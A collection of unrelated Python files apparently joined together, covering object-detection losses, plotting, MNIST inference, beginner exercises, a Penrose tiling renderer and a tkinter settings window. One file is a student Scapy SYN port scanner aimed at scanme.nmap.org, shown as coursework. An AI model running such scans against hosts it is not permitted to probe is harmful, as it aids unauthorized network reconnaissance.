import numpy as np
import matplotlib.pyplot as plt
from matplotlib import colors
from mpl_toolkits.axes_grid1.inset_locator import mark_inset
from scipy import interpolate
from scipy.stats import gaussian_kde

"""
这个文件用来绘制前后性能下降图
"""
name = np.array(['SECOND', 'PointPillars', 'Part-$A^2$', 'PV-RCNN', 'CenterPoint', 'Voxel R-CNN',
                 'PointRCNN', '3DSSD', '3DSSD-SASA', 'IA-SSD', 'Det6D'])

skitti_ap = np.array([37.23, 34.10, 36.92, 37.25, 36.50, 37.50,
                      39.11, 37.01, 37.28, 39.55, 73.55])
kitti_ap = np.array([76.48, 77.98, 79.47, 83.69, 79.48, 84.52,
                     78.63, 79.45, 84.80, 79.57, 84.41])
drap = kitti_ap - skitti_ap
sorted_idx = np.argsort(drap)
name = name[sorted_idx]
skitti_ap = skitti_ap[sorted_idx]
kitti_ap = kitti_ap[sorted_idx]
drap = drap[sorted_idx
]
width = 0.6

fig = plt.figure(figsize=(6.4 * 1.8, 4.8 * 0.9))
ax = plt.axes()
ax.set_facecolor('#E9E9F1')
plt.ylabel('$AP_{R40}@0.7$',fontsize=12)
plt.xlabel('the names of the detectors',fontsize=12)
plt.ylim([0, 100])
x = np.arange(len(name))
p1 = plt.bar(x, height=kitti_ap, width=width, label='KITTI', color='#C1A387')
p2 = plt.bar(x, height=skitti_ap, width=width, label='SlopedKITTI', color='#F1BE96')
plt.legend(loc='lower right')
plt.legend(loc='upper right')
ax.bar_label(p1, padding=-15, fmt='%2.2f',fontsize=11)
ax.bar_label(p2, padding=-15, fmt='%2.2f',fontsize=11)
ax.set_xticks(x, name,fontsize=11)
plt.yticks(fontsize=12)
plt.tight_layout()
plt.show()

# fig = plt.figure(figsize=(6.4 * 1.8, 4.8 * 0.9))
# ax1 = plt.axes([0.05, 0.5, 0.9, 0.4])
# ax2 = plt.axes([0.05, 0.1, 0.9, 0.4])
# ax1.set_facecolor('#E9E9F1')
# ax2.set_facecolor('#E9E9F1')
# x = np.arange(len(name))
# p1 = ax1.bar(x, height=drap, width=width, label='KITTI', color='#C1A387')
# p2 = plt.bar(x, height=skitti_ap, width=width, label='SlopedKITTI', color='#F1BE96')
# plt.legend(loc='lower right')
#
# ax1.bar_label(p1, padding=3)
# # ax.bar_label(p2, padding=3)
# ax1.set_xticks(x, name)
# plt.tight_layout()
# plt.ylim([0, 100])
#
# ax2.invert_yaxis()
# plt.show()


import csv
from genericpath import isfile
from tokenize import Ignore
import pandas as pd
import json
import networkx as nx
import plotly.graph_objs as go
import matplotlib.pyplot as plt
import itertools
import pickle
from metrics import *
##for pkl file###
#f = "bitnami_containers"

def create_contributor_dict(processed_data):
    contributor_dict = {}
    for a in range(0,len(processed_data)):
        contributor1 = processed_data[a][0]
        try:
            c1_labels =  processed_data[a][1]['labels'].keys()
        except Exception as e:
            if('labels' not in processed_data[a][1].keys()):
                c1_labels = ''
            else:
                print(e)
        try:
            c1_followers =  processed_data[a][1]['followers']
        except Exception as e:

            if('followers' not in processed_data[a][1].keys()):
                c1_followers = ''
            else:
                print(e)
        # break
        for b in range(a+1, len(processed_data)):
            contributor2 = processed_data[b][0]
            if(contributor1!=contributor2):
                try:
                    c2_labels =  processed_data[b][1]['labels'].keys()
                except Exception as e:
                    if('labels' not in processed_data[b][1].keys()):
                        c2_labels = ''
                        # print(len(c2_labels))
                    else:
                        print(e)
                try:
                    c2_followers =  processed_data[b][1]['followers']
                except Exception as e:
                    if('followers' not in processed_data[b][1].keys()):
                        c2_followers = ''
                        # print(len(c2_followers))
                    else:
                        print(e)
                common_followers = set(c1_followers)&set(c2_followers)
                common_labels = set(c1_labels)&set(c2_labels)
                c1c2 = str(max(contributor1, contributor2))+"_"+str(min(contributor1, contributor2))
                if((c1c2 not in contributor_dict) and (len(common_followers)!=0 or len(common_labels)!=0)
                and (len(c1_labels)!=0 and len(c2_labels)!=0) and (len(c1_followers)!=0 and len(c2_followers)!=0)):
                    contributor_dict[c1c2]={}
                    contributor_dict[c1c2]['contributor1'] = contributor1
                    contributor_dict[c1c2]['contributor2'] = contributor2
                    contributor_dict[c1c2]['common_labels'] = list(common_labels)
                    contributor_dict[c1c2]['common_followers'] = list(common_followers)
                    contributor_dict[c1c2]['clc'] = len(common_labels)
                    contributor_dict[c1c2]['cfc'] = len(common_followers)
                    contributor_dict[c1c2]['tot_labels_c1'] = len(c1_labels)
                    contributor_dict[c1c2]['tot_labels_c2'] = len(c2_labels)
                    contributor_dict[c1c2]['tot_followers_c1'] = len(c1_followers)
                    contributor_dict[c1c2]['tot_followers_c2'] = len(c2_followers)
                    contributor_dict[c1c2]['c1_labels'] = (c1_labels)
                    contributor_dict[c1c2]['c2_labels'] = (c2_labels)
                    contributor_dict[c1c2]['c1_followers'] = (c1_followers)
                    contributor_dict[c1c2]['c2_followers'] = (c2_followers)
                    contributor_dict[c1c2]['no'] = len(common_followers)/(len(c1_followers)+len(c2_followers))
                    contributor_dict[c1c2]['sim'] = len(common_labels)/(len(c1_labels)+len(c2_labels))
    return contributor_dict

import os
import pandas as pd
folder = "to_copy"
with open('nosm_results.csv','w') as csvfile:
    csvwriter = csv.writer(csvfile)
    csvwriter.writerow(['Repo','Spearman', 'Pearson', 'Spearman1','Pearson1','NO', 'SM'])
    for filename in os.listdir(folder):
        print(filename)
        f = os.path.join(folder, filename)
        if os.path.isfile(f):
            data = {}
            with open(f, 'rb') as ff:
                data = pickle.load(ff)

            processed_data = []
            for contributor in data.keys():
                processed_data.append([contributor, data[contributor]])

            contri_dict = create_contributor_dict(processed_data)
            new_df = pd.DataFrame(columns=['id','no','sim'])
            i = 0
            for each in contri_dict:
                new_df.loc[i] = [each, contri_dict[each]['no'], contri_dict[each]['sim']]
                i = i+1
            # print(new_df)
            sp_corr = new_df['no'].corr(new_df['sim'], method='spearman')
            pearson_corr = new_df['no'].corr(new_df['sim'])
            sp_corr1 = new_df['sim'].corr(new_df['no'], method='spearman')
            pearson_corr1 = new_df['sim'].corr(new_df['no'])
            print(new_df['no'].corr(new_df['sim'], method='spearman'))
            print(new_df['no'].corr(new_df['sim']))
            # NO(mean), SM(mean), NO(lowest) corresponding SM, NO(highest) corresponding SM, NO corresponding SM(highest), NO corresponding SM(lowest)
            print(new_df.head())
            csvwriter.writerow([filename, sp_corr,pearson_corr,sp_corr1,pearson_corr1, new_df['no'].mean(), new_df['sim'].mean()])


# -*- coding: utf-8 -*-
import torch
import torch.nn as nn
import torch.nn.functional as F
from ..box import match, log_sum_exp
from ..box import match_gious,bbox_overlaps_giou,decode

class FocalLoss(nn.Module):
    """
        This criterion is a implemenation of Focal Loss, which is proposed in
        Focal Loss for Dense Object Detection.

            Loss(x, class) = - \alpha (1-softmax(x)[class])^gamma \log(softmax(x)[class])

        The losses are averaged across observations for each minibatch.

        Args:
            alpha(1D Tensor, Variable) : the scalar factor for this criterion
            gamma(float, double) : gamma > 0; reduces the relative loss for well-classiﬁed examples (p > .5),
                                   putting more focus on hard, misclassiﬁed examples
            size_average(bool): By default, the losses are averaged over observations for each minibatch.
                                However, if the field size_average is set to False, the losses are
                                instead summed for each minibatch.
    """
    def __init__(self, class_num, alpha=None, gamma=2, size_average=True):
        super(FocalLoss, self).__init__()
        if alpha is None:
            self.alpha = torch.ones(class_num, 1)
        else:
            self.alpha = alpha
        self.gamma = gamma
        self.class_num = class_num
        self.size_average = size_average
        print(self.gamma,self.alpha)
    def forward(self, inputs, targets):
        N = inputs.size(0)
        C = inputs.size(1)
        P = F.softmax(inputs,dim= 1)
        class_mask = inputs.data.new(N, C).fill_(0)
        #class_mask = Variable(class_mask)
        ids = targets.view(-1, 1)
        class_mask.scatter_(1, ids.data, 1.)

        if inputs.is_cuda and not self.alpha.is_cuda:
            self.alpha = self.alpha.cuda()
        alpha = self.alpha[ids.data.view(-1)]

        probs = (P*class_mask).sum(1).view(-1,1)

        log_p = probs.log()

        batch_loss = -alpha*(torch.pow((1-probs), self.gamma))*log_p

        if self.size_average:
            loss = batch_loss.mean()
        else:
            loss = batch_loss.sum()
        return loss

class GiouLoss(nn.Module):
    """
        This criterion is a implemenation of Giou Loss, which is proposed in
        Generalized Intersection over Union Loss for: A Metric and A Loss for Bounding Box Regression.

            Loss(loc_p, loc_t) = 1-GIoU

        The losses are summed across observations for each minibatch.

        Args:
            size_sum(bool): By default, the losses are summed over observations for each minibatch.
                                However, if the field size_sum is set to False, the losses are
                                instead averaged for each minibatch.
            predmodel(Corner,Center): By default, the loc_p is the Corner shape like (x1,y1,x2,y2)
            The shape is [num_prior,4],and it's (x_1,y_1,x_2,y_2)
            loc_p: the predict of loc
            loc_t: the truth of boxes, it's (x_1,y_1,x_2,y_2)

    """
    def __init__(self,pred_mode = 'Center',size_sum=True,variances=None):
        super(GiouLoss, self).__init__()
        self.size_sum = size_sum
        self.pred_mode = pred_mode
        self.variances = variances
    def forward(self, loc_p, loc_t,prior_data):
        num = loc_p.shape[0]

        if self.pred_mode == 'Center':
            decoded_boxes = decode(loc_p, prior_data, self.variances)
        else:
            decoded_boxes = loc_p
        #loss = torch.tensor([1.0])
        gious =1.0 - bbox_overlaps_giou(decoded_boxes,loc_t)

        loss = torch.sum(gious)

        if self.size_sum:
            loss = loss
        else:
            loss = loss/num
        return 5*loss

class MultiBoxLoss(nn.Module):
    """SSD Weighted Loss Function
    Compute Targets:
        1) Produce Confidence Target Indices by matching  ground truth boxes
           with (default) 'priorboxes' that have jaccard index > threshold parameter
           (default threshold: 0.5).
        2) Produce localization target by 'encoding' variance into offsets of ground
           truth boxes and their matched  'priorboxes'.
        3) Hard negative mining to filter the excessive number of negative examples
           that comes with using a large number of default bounding boxes.
           (default negative:positive ratio 3:1)
    Objective Loss:
        L(x,c,l,g) = (Lconf(x, c) + αLloc(x,l,g)) / N
        Where, Lconf is the CrossEntropy Loss and Lloc is the SmoothL1 Loss
        weighted by α which is set to 1 by cross val.
        Args:
            c: class confidences,
            l: predicted boxes,
            g: ground truth boxes
            N: number of matched default boxes
        See: https://arxiv.org/pdf/1512.02325.pdf for more details.
    """

    def __init__(self, cfg, overlap_thresh, prior_for_matching,
                 bkg_label, neg_mining, neg_pos, neg_overlap, encode_target,
                 use_gpu=True,loss_c = "CrossEntropy", loss_r = 'SmoothL1'):
        super(MultiBoxLoss, self).__init__()
        self.use_gpu = use_gpu

        self.num_classes = cfg['num_classes']
        self.threshold = overlap_thresh
        self.background_label = bkg_label
        self.encode_target = encode_target
        self.use_prior_for_matching = prior_for_matching
        self.do_neg_mining = neg_mining
        self.negpos_ratio = neg_pos
        self.neg_overlap = neg_overlap
        self.variance = cfg['variance']
        self.focalloss = FocalLoss(self.num_classes,gamma=2,size_average = False)
        self.gious = GiouLoss(pred_mode = 'Center',size_sum=True,variances=self.variance)
        self.loss_c = loss_c
        self.loss_r = loss_r
        if self.loss_r != 'SmoothL1' or self.loss_r !='Giou':
            assert Exception("THe loss_r is Error, loss name must be SmoothL1 or Giou")
        elif self.loss_c != 'CrossEntropy' or self.loss_c !='FocalLoss':
            assert Exception("THe loss_c is Error, loss name must be CrossEntropy or FocalLoss")
        elif self.loss_r == 'Giou':
            match_gious(self.threshold, truths, defaults, self.variance, labels,
                loc_t, conf_t, idx)

    def forward(self, predictions, targets):
        """Multibox Loss
        Args:
            predictions (tuple): A tuple containing loc preds, conf preds,
            and prior boxes from SSD net.
                conf shape: torch.size(batch_size,num_priors,num_classes)
                loc shape: torch.size(batch_size,num_priors,4)
                priors shape: torch.size(num_priors,4)

            targets (tensor): Ground truth boxes and labels for a batch,
                shape: [batch_size,num_objs,5] (last idx is the label).
        """
        loc_data, conf_data, priors = predictions
        num = loc_data.size(0)

        priors = priors[:loc_data.size(1), :]

        num_priors = (priors.size(0))

        # match priors (default boxes) and ground truth boxes
        loc_t = torch.Tensor(num, num_priors, 4)

        conf_t = torch.LongTensor(num, num_priors)
        for idx in range(num):
            truths = targets[idx][:, :-1].data
            labels = targets[idx][:, -1].data
            defaults = priors.data
            if self.loss_r == 'SmoothL1':
                match(self.threshold, truths, defaults, self.variance, labels,
                    loc_t, conf_t, idx)
            elif self.loss_r == 'Giou':
                match_gious(self.threshold, truths, defaults, self.variance, labels,
                    loc_t, conf_t, idx)

        if self.use_gpu:
            loc_t = loc_t.cuda()
            conf_t = conf_t.cuda()
        # wrap targets
        #loc_t = Variable(loc_t, requires_grad=True)
        #conf_t = Variable(conf_t, requires_grad=True)

        pos = conf_t > 0
        num_pos = pos.sum(dim=1, keepdim=True)
        # Localization Loss (Smooth L1)
        # Shape: [batch,num_priors,4]
        pos_idx = pos.unsqueeze(pos.dim()).expand_as(loc_data)

        loc_p = loc_data[pos_idx].view(-1, 4)
        loc_t = loc_t[pos_idx].view(-1, 4)

        if self.loss_r == 'SmoothL1':
            loss_l = F.smooth_l1_loss(loc_p, loc_t, reduction='sum')
        elif self.loss_r == 'Giou':
            giou_priors = priors.data.unsqueeze(0).expand_as(loc_data)
            loss_l = self.gious(loc_p,loc_t,giou_priors[pos_idx].view(-1, 4))
        # Compute max conf across batch for hard negative mining
        if self.loss_c == "CrossEntropy":

            batch_conf = conf_data.view(-1, self.num_classes)
            loss_c = log_sum_exp(batch_conf) - batch_conf.gather(1, conf_t.view(-1, 1))

            # Hard Negative Mining
            loss_c = loss_c.view(num, -1)
            loss_c[pos] = 0
            _, loss_idx = loss_c.sort(1, descending=True)
            _, idx_rank = loss_idx.sort(1)
            num_pos = pos.long().sum(1, keepdim=True)
            num_neg = torch.clamp(self.negpos_ratio*num_pos, max=pos.size(1)-1)
            neg = idx_rank < num_neg.expand_as(idx_rank)

            # Confidence Loss Including Positive and Negative Examples
            pos_idx = pos.unsqueeze(2).expand_as(conf_data)
            neg_idx = neg.unsqueeze(2).expand_as(conf_data)
            conf_p = conf_data[(pos_idx+neg_idx).gt(0)].view(-1, self.num_classes)
            targets_weighted = conf_t[(pos+neg).gt(0)]
            loss_c = F.cross_entropy(conf_p, targets_weighted, reduction='sum')

        # Sum of losses: L(x,c,l,g) = (Lconf(x, c) + αLloc(x,l,g)) / N
        elif self.loss_c == "FocalLoss":
            batch_conf = conf_data.view(-1, self.num_classes)
            loss_c = self.focalloss(batch_conf,conf_t)

        N = num_pos.data.sum().double()
        loss_l = loss_l.double()
        loss_c = loss_c.double()
        loss_l /= N
        loss_c /= N

        return loss_l, loss_c


import pandas as pd

df = pd.read_csv("C:/Users/yurar/PycharmProjects/diplom/csv/allstats14-19.csv", encoding='cp1251', delimiter=',')
data = df.drop(['Div', 'HTHG', 'HTAG', 'HTR', 'B365H', 'B365D', 'B365A',
                       'BWH', 'BWD', 'BWA', 'IWH', 'IWD',
                       'IWA', 'LBH', 'LBD', 'LBA', 'WHH',
                       'WHD', 'WHA', 'SJH', 'SJD', 'SJA', 'VCH', 'VCD', 'VCA',
                       'PSH', 'PSD', 'PSA', 'PSCH', 'PSCD', 'PSCA',
                       'Bb1X2', 'BbMxH', 'BbAvH', 'BbMxD',
                       'BbAvD', 'BbMxA', 'BbAvA', 'BbOU', 'BbMx>2.5', 'BbAv>2.5',
                       'BbMx<2.5', 'BbAv<2.5', 'BbAH', 'BbAHh', 'BbMxAHH', 'BbAvAHH', 'BbMxAHA', 'BbAvAHA'], axis=1)

data_new = data.rename(columns={'Date': 'Дата', 'HomeTeam': 'Хозяева(Х)', 'AwayTeam': 'Гости(Г)','FTHG': 'ГолыХ',
                         'FTAG': 'ГолыГ', 'FTR': 'Результат', 'HS': 'УдарыХ', 'AS': 'УдарыГ',
                         'HST': 'Удары по воротам Х', 'AST': 'Удары по воротам Г', 'HF': 'ФолыХ', 'AF': 'ФолыГ',
                         'HC': 'УгловыеХ', 'AC': 'УгловыеГ', 'HY': 'ЖКХ', 'AY': 'ЖКГ', 'HR': 'ККХ', 'AR': 'ККГ'}, inplace=True)


import tensorflow.examples.tutorials.mnist.input_data as input_data
import tensorflow as tf
from PIL import Image,ImageOps
import numpy as np

sess = tf.InteractiveSession()

x = tf.placeholder(tf.float32, [None, 784])

def define_variable(shape,name):
    return tf.Variable(tf.truncated_normal(shape,stddev=0.1),name)

input_image = tf.reshape(x, [-1, 28, 28, 1])
W_conv1 = define_variable([5, 5, 1, 6], "W_conv1")
b_conv1 = define_variable([6], "b_conv1")

conv1 = tf.nn.conv2d(input_image, W_conv1, strides=[1, 1, 1, 1],padding='SAME')
relu1 = tf.nn.relu(conv1 + b_conv1)
pool1 = tf.nn.max_pool(relu1, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='VALID')

W_conv2 = define_variable([5, 5, 6, 16], "W_conv2")
b_conv2 = define_variable([16], "b_conv2")

conv2 = tf.nn.conv2d(pool1, W_conv2, strides=[1, 1, 1, 1],padding='VALID')
relu2 = tf.nn.relu(conv2 + b_conv2)
pool2 = tf.nn.max_pool(relu2, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='VALID')

W_conv3 = define_variable([5, 5, 16, 120], "W_conv3")
b_conv3 = define_variable([120], "b_conv3")

conv3 = tf.nn.conv2d(pool2, W_conv3, strides=[1, 1, 1, 1],padding='VALID')
relu3 = tf.nn.relu(conv3 + b_conv3)

flat = tf.reshape(relu3,[-1,120])

W_fc1 = define_variable([120,84], "W_fc1")
b_fc1 = define_variable([84], "b_fc1")

fc1 = tf.nn.relu(tf.matmul(flat, W_fc1) + b_fc1)

dropout1 = tf.placeholder("float")
fc1_dropout = tf.nn.dropout(fc1, dropout1)

W_fc2 = define_variable([84, 10], "W_fc2")
b_fc2 = define_variable([10], "b_fc2")

y_output = tf.nn.softmax(tf.nn.relu(tf.matmul(fc1_dropout, W_fc2) + b_fc2))

model_path="checkpoint/variable"
saver = tf.train.Saver()

load_path = saver.restore(sess, model_path)

def inference(image):
    img = image.convert('L')
    img = img.resize([28,28],Image.ANTIALIAS)
    x_input = np.array(img,dtype="float32")/255
    x_input = np.reshape(x_input,[-1,784])
    output = y_output.eval(feed_dict={x:x_input,dropout1 : 1.0})
    return tf.argmax(output,1).eval()

#output = y_output.eval(feed_dict={x:img,dropout1 : 1.0})
#a =  tf.argmax(output,1)
#print a.eval()
"""
for i in range(10000):
    batch = mnist.train.next_batch(50)
    if i%100 == 0:
        train_accuracy = accuracy.eval(feed_dict={
            x:batch[0], y: batch[1], dropout1: 1.0})
        print "step %d, training accuracy %g"%(i, train_accuracy)
    train_step.run(feed_dict={x: batch[0], y: batch[1], dropout1: 0.5})
print "test accuracy %g"%accuracy.eval(feed_dict={
    x: mnist.test.images, y: mnist.test.labels, dropout1: 1.0})
"""


# Part 1

horGrid = 2*('+ ' + 4*'- ') + '+\n'
verGrid = 4*(2*('| ' + 4*'  ') + '|\n')
print(horGrid + verGrid + horGrid + verGrid + horGrid)

# Part 2

def print_grid(n):

    if n%2==0:
        size=n+1
    else:
        size=n

    midPt = n//2
    horGrid = 2*('+' + midPt*'- ') +'+'
    verGrid = 2*('|' + midPt*'  ') + '|'

    for i in range(size+1):
        if i==0 or i == midPt+1:
            print(horGrid)
        else:
            print(verGrid)
    print(horGrid)

a = input("What sized grid friend?  ")
print(print_grid(int(a)),str("wow thats a fancy grid!"))

# Part 3

def print_good_grid(a,b):

    horzgrid= a*('+' + b*'- ')+'+'
    vertgrid= a*('|'+ b*'  ')+'|'

    for i in range(a):
        print(horzgrid+(("\n"+vertgrid)*a))
    print(horzgrid)

z,x=input("please enter desired cell count, cell size  ").split(',')
print(print_good_grid(int(z),int(x)))


import xarray
import numpy as np
import numpy.typing as npt
from typing import Any, Tuple, Sequence

def flip(data: xarray.DataArray, dims: Sequence[str] = []) -> xarray.DataArray:
    """
    Reverse the data backing a DataArray along the specified dimension(s).
    """
    flip_selector = ()
    for dim in data.dims:
        if dim in dims:
            flip_selector += (slice(None, None, -1),)
        else:
            flip_selector += (slice(None),)
    return data.copy(data=data[flip_selector].data)

def stt_coord(length: int, dim: str, scale: float, translate: float, unit: str):
    """
    Create a coordinate variable parametrized by a shape, a scale, a translation, and
    a unit. The translation is applied after the scaling.
    """
    return xarray.DataArray(
        (np.arange(length) * scale) + translate, dims=(dim,), attrs={"units": unit}
    )

def stt_from_array(
    data: npt.ArrayLike,
    dims: Tuple[str, ...],
    scales: Tuple[float, ...],
    translates: Tuple[float, ...],
    units: Tuple[str, ...],
    **kwargs: Any,
) -> xarray.DataArray:
    """
    Create a DataArray with coordinates parametrized by a shape, a sequence of dims,
    a sequence of scales, a sequence of translations, and a sequence of units from an
    input array.
    """
    coords = []
    for idx, s in enumerate(data.shape):
        coords.append(stt_coord(s, dims[idx], scales[idx], translates[idx], units[idx]))

    return xarray.DataArray(data, dims=dims, coords=coords, **kwargs)


''' Contains the PentaGrid class '''

import numpy as np
import sdl2.ext
from penroseGenerator.src.core.geometry import Line2D, intersect_line2d, Lattice
from penroseGenerator.src.core.sprite import BaseSprite
from penroseGenerator.src.penrose.mathpentagrid import MathPentagrid
from penroseGenerator.src.penrose.penrosemaps import PenroseMap #pylint: disable=W0611

class Pentagrid(BaseSprite):
    ''' Draws and manages a pentagrid with its corresponding Penrose tiling. (Sort of...)'''

    def __init__(self, size) -> None:
        super().__init__(size)
        self.mathpg = MathPentagrid(PenroseMap(np.array([.0,.1,.2,.3,-.6], float)))
        self.texture = None
        self.xyscale = np.array([100,100], dtype=float)
        self.origin = (self.size / self.xyscale) / 2
        self.linecolors = [
            (255,  0,  0,255),
            (255,255,  0,255),
            (  0,255,  0,255),
            (  0,255,255,255),
            (  0,  0,255,255)]
        self.linemin, self.linemax = -1,1
        self.latticemax = 5

    def intersect_latices(self, lattice1:Lattice, lattice2:Lattice):
        '''
        Compute every intersection between two groups of evenly spaced, parallel lines.
        '''
        line1, start1, stop1, step1, offset1 = lattice1
        line2, start2, stop2, step2, offset2 = lattice2
        line1 = Line2D.copyconstruct(line1)
        line2 = Line2D.copyconstruct(line2)
        line1.dist_to_zero = start1 * step1 + offset1
        line2.dist_to_zero = start2 * step2 + offset2
        intersect0 = intersect_line2d(line1, line2)
        line1.dist_to_zero += step1
        intersect1 = intersect_line2d(line1 ,line2)
        line1.dist_to_zero -= step1
        line2.dist_to_zero += step2
        intersect2 = intersect_line2d(line1 ,line2)
        line2.dist_to_zero -= step2
        if intersect0 is None or intersect1 is None or intersect2 is None:
            return None
        lineno1 = stop1 - start1 + 1
        lineno2 = stop2 - start2 + 1
        dintersect1 = intersect1 - intersect0
        dintersect2 = intersect2 - intersect0
        lincomb1 = np.outer(np.arange(lineno1), dintersect1)
        lincomb2 = np.outer(np.arange(lineno2), dintersect2)
        intersects = intersect0 + lincomb1[None,:] + lincomb2[:,None]
        return np.reshape(intersects, (lineno1 * lineno2, 2))

    def get_intersections(self, lattices:list[Lattice]):
        ''' Return every intersection between the groups of evenly spaced, parallel lines. '''
        latticelines = self.linemax - self.linemin +1
        latticecount = len(lattices)
        intersectioncount = latticelines**2 * int(latticecount * (latticecount-1) / 2)
        intersections = np.zeros((intersectioncount, 4), dtype=float)
        index = 0
        for i, ilattice in enumerate(lattices):
            for j, jlattice in enumerate(lattices):
                if i >= j:
                    continue
                latt_inter = self.intersect_latices(ilattice, jlattice)
                licount = (ilattice[2] - ilattice[1] + 1) * (jlattice[2] - jlattice[1] + 1)
                if latt_inter is None:
                    continue
                intersections[index : index+licount, 0:2] = latt_inter
                intersections[index : index+licount, 2] = i
                intersections[index : index+licount, 3] = j
                index += licount
        return intersections

    def draw_penrose(self, lattices):
        ''' Draw a penrose tiling defined by `lattices`. '''
        intersections = self.get_intersections(lattices)
        for lattice_intersection in intersections:
            intersect, r, s = lattice_intersection[:2], *lattice_intersection[2:].astype(int)
            if r + s == 0:
                continue
            self.draw_dot_transformed(intersect, 4, color=self.linecolors[r])
            self.draw_dot_transformed(intersect, 2, color=self.linecolors[s])
            vertices = self.mathpg.get_verts_from_intersect(complex(*intersect), r, s)
            for i,vertex in enumerate(vertices):
                self.draw_line_transformed(vertices[i-1], vertex, width=5, color=self.linecolors[r])
                self.draw_line_transformed(vertices[i-1], vertex, width=2, color=self.linecolors[s])

    def add_zoom(self, zoom:np.ndarray):
        self.xyscale += zoom

    def draw(self, target:sdl2.ext.Renderer):
        sdl2.SDL_SetRenderDrawColor(self.renderer, 0,0,0,0)
        sdl2.SDL_RenderClear(self.renderer, 0,0,0)
        lattices = [
            self.mathpg.reverse_is_on_grid(
                j,
                self.linemin,
                self.linemax
            ) for j in range(self.latticemax)
        ]
        botleft = 5 * -self.size/(2*self.xyscale)
        topright = 5 * self.size/(2*self.xyscale)
        for i,lattice in enumerate(lattices):
            Line2D.draw_lattice(self, botleft, topright, lattice, color=(*self.linecolors[i][:-1], 200))
        self.draw_penrose(lattices)
        self.draw_dot_transformed(np.array([0,0]), 3, (255,0,0,255))
        self.texture = sdl2.ext.Texture(target, self.surface)
        target.blit(self.texture)


#!/usr/bin/env python3

# Script:                   401 Op Challenge Day 11
# Author:                   Courtney Hans
# Date of latest revision:  10/19/20
# Purpose:                  Scapy scanning tool (1 of 3)

# Import libraries

from scapy.all import ICMP, IP, sr1, TCP, sr
import random

# Declare variables
host = "scanme.nmap.org" # definining host IP
port_range = [21, 22, 23] # providing a port range

# Declare functions

# Main
for dst_port in port_range: # for each port in defined range...
    src_port = random.randint(1025,65534) # randomize TCP source port
    port_num = str(dst_port)
    response = sr1(IP(dst=host)/TCP(sport=src_port,dport=dst_port,flags="S"),timeout=1,verbose=0)
    if response is None:
        print ("Port " + port_num + ": The packet was filtered.")
        print (response)
    elif response.haslayer(TCP):
        if response.getlayer(TCP).flags == 0x12: #Port responding and open
            print("Port " + port_num + ": The port is OPEN and responding.")
            # send RST packet to graciously close connection
            send_rst = sr(IP(dst=host)/TCP(sport=src_port,dport=dst_port,flags="R"),timeout=10)
            print(response)
        if response.getlayer(TCP).flags == 0x14: #Port closed
            print("Port " + port_num + ": The port is CLOSED.")
            print(response)

# resource: https://resources.infosecinstitute.com/port-scanning-using-scapy/
# resource: https://stackoverflow.com/questions/20429674/get-tcp-flags-with-scapy
# End


"""Exercise 1: Calculate the multiplication and sum of two numbers"""

number1 = int(input("First number: "))
number2 = int(input("Second number: "))

sum = number1+number2
Multi = number1*number2

if Multi < 1000:
    print(Multi)
else: print(sum)


# -*- coding: utf-8 -*-
# -*- by:sboxm-*-
# 设置部分
from tkinter import Label, Button, Tk, StringVar, OptionMenu
from json import load

class GUI:
    # 渲染主窗体
    def __init__(self, configs):
        # 配置读取部分
        self.hitokoto_cfg = configs['hitokoto']
        self.biying_cfg = configs['biying']
        self.category_cfg = configs['category']
        self.mode_cfg = configs['mode']
        self.onchange_cfg = configs['onchange']
        # 窗体部分
        self.window = Tk()
        self.window.title("设置")
        self.window.geometry("190x230")
        self.window.attributes("-toolwindow", True)
        self.window.minsize(190, 250)
        self.window.maxsize(190, 250)
        self.title = Label(self.window, text="壁纸鸭设置\n——————————————", anchor='center')
        self.title.grid(row=0, column=0, columnspan=4)
        # 一言
        self.hitokoto_text = Label(self.window, text='一言')
        self.hitokoto_button = Button(self.window, text='开' if self.hitokoto_cfg else '关',
                                      command=self.toggle_hitokoto)
        self.hitokoto_text.grid(row=1, column=0)
        self.hitokoto_button.grid(row=1, column=1)
        # 必应
        self.biying_text = Label(self.window, text='必应')
        self.biying_button = Button(self.window, text='开' if self.biying_cfg else '关',
                                    command=self.toggle_biying)
        self.biying_text.grid(row=2, column=0)
        self.biying_button.grid(row=2, column=1)
        # 类型
        self.category_text = Label(self.window, text='类型')
        self.options = ['随机', '4K', '美女', '美图', '风景', '小清新', '动漫卡通', '明星', '动物', '游戏']
        self.selected = StringVar(value=self.options[self.category_cfg])
        self.selection = OptionMenu(self.window, self.selected, *self.options, command=self.toggle_category)
        self.category_text.grid(row=3, column=0)
        self.selection.grid(row=3, column=1, columnspan=3)
        # 模式
        self.mode_text = Label(self.window, text='模式')
        self.mode_button = Button(self.window, text='临时' if self.mode_cfg == 0 else '永久',
                                  command=self.toggle_mode)
        self.mode_text.grid(row=4, column=0)
        self.mode_button.grid(row=4, column=1)
        # 保存按钮
        self.save_button = Button(self.window, text='保存并应用', command=self.save_settings)
        self.save_button.grid(row=5, column=0, columnspan=4)
        # 底部信息
        self.title = Label(self.window, text="——————————————\n版本 V1.0.0  主打就是一个简陋", anchor='center')
        self.title.grid(row=6, column=0, columnspan=4)
        self.window.mainloop()

    # 保存设置
    def save_settings(self):
        with open('config.json', 'w') as fp:
            hitokoto = 'true' if self.hitokoto_cfg else 'false'
            biying = 'true' if self.biying_cfg else 'false'
            update_config = '{\n"hitokoto":' + hitokoto + ',\n"biying":' + biying + ',\n"category":' + str(
                self.category_cfg) + ',\n"mode":' + str(self.mode_cfg) + ',\n"updatecycle":10,\n"onchange":true\n}'
            fp.write(update_config)

    def toggle_mode(self):
        if self.mode_button["text"] == "临时":
            self.mode_cfg = 1
            self.mode_button["text"] = "永久"
        else:
            self.mode_cfg = 0
            self.mode_button["text"] = "临时"

    def toggle_category(self, event=None):
        option_dict = {'随机': 0, '4K': 1, '美女': 2, '美图': 3, '风景': 4, '小清新': 5, '动漫卡通': 6, '明星': 7,
                       '动物': 8, '游戏': 9}
        self.category_cfg = option_dict[self.selected.get()]

    def toggle_biying(self):
        if self.biying_button["text"] == "开":
            self.biying_cfg = False
            self.biying_button["text"] = "关"
        else:
            self.biying_cfg = True
            self.biying_button["text"] = "开"

    def toggle_hitokoto(self):
        if self.hitokoto_button["text"] == "开":
            self.hitokoto_cfg = False
            self.hitokoto_button["text"] = "关"
        else:
            self.hitokoto_cfg = True
            self.hitokoto_button["text"] = "开"

if __name__ == '__main__':
    # 读取config配置
    try:
        config = open('config.json', 'r')
        config_dit = load(config)
        window1 = GUI(config_dit)
    except FileNotFoundError:
        pass


#! /usr/local/bin/python3

from turtle import *

